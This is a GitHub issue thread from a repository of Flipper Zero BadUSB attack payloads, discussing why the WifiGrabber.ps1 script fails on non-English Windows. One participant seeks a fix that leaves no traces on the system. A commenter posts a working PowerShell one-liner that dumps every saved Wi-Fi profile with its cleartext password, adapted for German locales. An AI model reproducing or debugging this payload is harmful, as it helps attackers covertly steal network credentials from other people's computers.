I-Am-Jakoby / Flipper-Zero-BadUSB

Repository for my flipper zero badUSB payloads. Now almost entirely plug and play.

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

WifiGrabber.ps1 does not work on non-english systems

dunaevai135 opened this issue · comments

if the locale is not English , the output of the netsh wlan show profile name... command does not contain Key Content.

I have not figured out PS yet to find a reliable universal solution that leaves no traces in the system. Temporarily use several scripts for individual languages

possible solution:

[System.Threading.Thread]::CurrentThread.CurrentCulture = "en-US"
or
$env:LCID = "1033"

but ran into problems in Win 10

I will be looking into this and trying to implement a solution for the relevant payloads.
Thank you for bringing this to my attention

commented

To make it work on a german system, u need to replace "Key Content" of the PowerShell-Script to "Schlüsselinhalt":
$wifiProfiles = (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" keyMaterial=clear)} | Select-String "Schlüsselinhalt\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-String